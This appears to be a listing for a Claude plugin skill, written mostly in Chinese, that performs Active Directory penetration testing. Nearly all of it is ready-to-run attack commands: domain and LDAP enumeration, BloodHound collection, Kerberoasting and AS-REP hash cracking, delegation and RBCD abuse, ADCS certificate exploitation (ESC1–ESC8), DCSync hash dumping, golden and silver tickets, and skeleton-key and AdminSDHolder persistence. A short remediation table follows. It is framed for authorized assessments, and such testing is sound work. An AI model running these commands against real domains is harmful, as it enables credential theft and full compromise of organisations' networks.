Performs Active Directory penetration testing: enumerates domain objects, analyzes attack paths with BloodHound, exploits Kerberos weaknesses, escalates privileges via ADCS/DCSync, and demonstrates domain compromise.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersecurity-skills-zh:performing-active-directory-penetration-testThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。
Active Directory(AD)渗透测试针对超过 95% 的财富 500 强企业使用的核心身份与访问管理系统。测试识别错误配置、弱凭据、危险的委派设置、存在漏洞的证书模板,以及能让攻击者从普通域用户提升至域管理员(Domain Admin)或企业管理员(Enterprise Admin)的攻击路径。
# 基本域枚举
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --groups
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local --users
# LDAP 枚举 — 域控制器
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "OU=Domain Controllers,DC=corp,DC=local" "(objectClass=computer)" dNSHostName
# 枚举信任关系
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --trusts
# 枚举域密码策略
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --pass-pol
# 枚举组策略对象(GPO)
netexec smb 10.0.0.5 -u 'testuser' -p 'Password123' --gpp-passwords
# 查找启用非约束委派的计算机
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
dNSHostName
# 查找配置约束委派的用户
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(&(objectCategory=user)(msds-allowedtodelegateto=*))" \
sAMAccountName msds-allowedtodelegateto
# 枚举 LAPS(本地管理员密码解决方案)
netexec ldap 10.0.0.5 -u 'testuser' -p 'Password123' -d corp.local -M laps
# 收集所有 BloodHound 数据
bloodhound-python -u 'testuser' -p 'Password123' -d corp.local \
-ns 10.0.0.5 -c all --zip
# 备用方案:在 Windows 上使用 SharpHound
.\SharpHound.exe -c All --zipfilename bloodhound_data.zip
# 启动 BloodHound
sudo neo4j start
bloodhound --no-sandbox
# BloodHound 中常用的 Cypher 查询:
# - 到域管理员的最短路径
# - 查找可 Kerberoast 的用户
# - 查找可 AS-REP Roast 的用户
# - 查找拥有 DCSync 权限的用户
# - 从已控制主体查找最短路径
# - 查找域用户是本地管理员的计算机
# 查找拥有 SPN 的服务账户(可 Kerberoast)
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5
# 查找未启用 Kerberos 预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile domain_users.txt \
-dc-ip 10.0.0.5 -format hashcat
# 查找托管服务账户(gMSA)
ldapsearch -x -H ldap://10.0.0.5 -D "[email protected]" -w "Password123" \
-b "DC=corp,DC=local" "(objectClass=msDS-GroupManagedServiceAccount)" \
sAMAccountName msDS-GroupMSAMembership
# 提取服务账户的 TGS 票据
impacket-GetUserSPNs 'corp.local/testuser:Password123' -dc-ip 10.0.0.5 \
-outputfile kerberoast.txt -request
# 使用 Hashcat 破解(模式 13100 对应 Kerberos 5 TGS-REP etype 23)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
# 使用 Rubeus 进行定向 Kerberoasting(Windows)
.\Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql_tgs.txt
# 针对未启用预认证的账户
impacket-GetNPUsers 'corp.local/' -usersfile users.txt -dc-ip 10.0.0.5 \
-outputfile asrep.txt -format hashcat
# 破解 AS-REP 哈希(模式 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# 非约束委派 — 从内存提取 TGT
# 若已控制配置非约束委派的主机:
.\Rubeus.exe monitor /interval:5 /nowrap
# 使用 PrinterBug/SpoolSample 强制 DC 进行认证
.\SpoolSample.exe DC01.corp.local YOURHOST.corp.local
.\Rubeus.exe ptt /ticket:<base64_ticket>
# 约束委派 — S4U 滥用
impacket-getST 'corp.local/svc_web:WebPass123' -spn 'CIFS/fileserver.corp.local' \
-dc-ip 10.0.0.5 -impersonate administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass
# 基于资源的约束委派(RBCD)
impacket-addcomputer 'corp.local/testuser:Password123' -computer-name 'EVIL$' \
-computer-pass 'EvilPass123' -dc-ip 10.0.0.5
python3 rbcd.py -delegate-to 'TARGET$' -delegate-from 'EVIL$' \
-dc-ip 10.0.0.5 'corp.local/testuser:Password123'
impacket-getST 'corp.local/EVIL$:EvilPass123' -spn 'CIFS/target.corp.local' \
-impersonate administrator -dc-ip 10.0.0.5
# 使用 Certipy 枚举 ADCS
certipy find -u '[email protected]' -p 'Password123' -dc-ip 10.0.0.5 \
-vulnerable -stdout
# ESC1 — 存在漏洞的证书模板(注册者可指定 SAN)
certipy req -u '[email protected]' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template VulnerableWebServer -upn [email protected]
# 使用证书进行认证
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.5
# ESC4 — 模板 ACL 错误配置
# 修改模板以启用 ESC1 条件,然后按上述方式利用
# ESC6 — CA 上的 EDITF_ATTRIBUTESUBJECTALTNAME2 标志
certipy req -u '[email protected]' -p 'Password123' \
-target ca.corp.local -ca CORP-CA \
-template User -upn [email protected]
# ESC8 — NTLM 中继至 HTTP 注册端点
certipy relay -target 'http://ca.corp.local/certsrv/certfnsh.asp' \
-template DomainController
# DCSync — 提取所有域哈希(需要复制权限)
impacket-secretsdump 'corp.local/domainadmin:[email protected]' -just-dc
# DCSync 特定用户
impacket-secretsdump 'corp.local/domainadmin:[email protected]' \
-just-dc-user krbtgt
# 使用 Mimikatz(Windows)
mimikatz# lsadump::dcsync /domain:corp.local /user:krbtgt
# 创建黄金票据(需要 krbtgt 哈希和域 SID)
impacket-ticketer -nthash <krbtgt_nthash> -domain-sid S-1-5-21-... \
-domain corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec 'corp.local/[email protected]' -k -no-pass
# 使用 Mimikatz
mimikatz# kerberos::golden /user:administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:<hash> /ptt
# 为特定服务创建白银票据
impacket-ticketer -nthash <service_nthash> -domain-sid S-1-5-21-... \
-domain corp.local -spn MSSQL/sqlserver.corp.local administrator
export KRB5CCNAME=administrator.ccache
impacket-mssqlclient 'corp.local/[email protected]' -k -no-pass
# 骨架密钥(Skeleton Key)(注入 LSASS — 仅限授权测试)
mimikatz# privilege::debug
mimikatz# misc::skeleton
# 此后任何用户均可使用 "mimikatz" 作为密码进行认证
# AdminSDHolder 持久化
# 将受控用户添加到 AdminSDHolder ACL
# SDProp 进程每 60 分钟将 ACL 传播到所有受保护组
# SID 历史注入
# 将域管理员 SID 注入低权限用户的 SID 历史记录
# 记录所有持久化机制并在测试后清理
| 发现项 | CVSS | 修复建议 |
|---|---|---|
| 密码较弱的可 Kerberoast 账户 | 7.5 | 使用 gMSA,对服务账户强制使用 25 位以上字符密码 |
| 服务器上的非约束委派 | 8.1 | 移除非约束委派,改用约束委派或 RBCD |
| 存在漏洞的 ADCS 模板(ESC1-ESC8) | 9.8 | 审计模板、移除危险权限、要求审批流程 |
| 非 DA 账户的 DCSync 权限 | 9.8 | 审计复制权限,实施分层管理员模型 |
| 已启用 LLMNR/NBT-NS | 8.1 | 通过 GPO 禁用 |
| 未部署 LAPS | 7.2 | 部署 Windows LAPS 管理本地管理员密码 |
| 域密码策略较弱 | 6.5 | 强制使用 14 位以上字符,实施细粒度密码策略 |
npx claudepluginhub killvxk/cybersecurity-skills-zhConducts an Active Directory penetration test: enumerate domain objects, discover attack paths with BloodHound, exploit Kerberos, escalate via ADCS/DCSync.
Enumerates Active Directory objects, discovers attack paths with BloodHound, exploits Kerberos weaknesses, and escalates privileges via ADCS/DCSync to demonstrate domain compromise.
Conducts Active Directory penetration tests: enumerates domain objects, maps attack paths with BloodHound, exploits Kerberos weaknesses, escalates via ADCS/DCSync, demonstrates compromise. For security assessments and audits.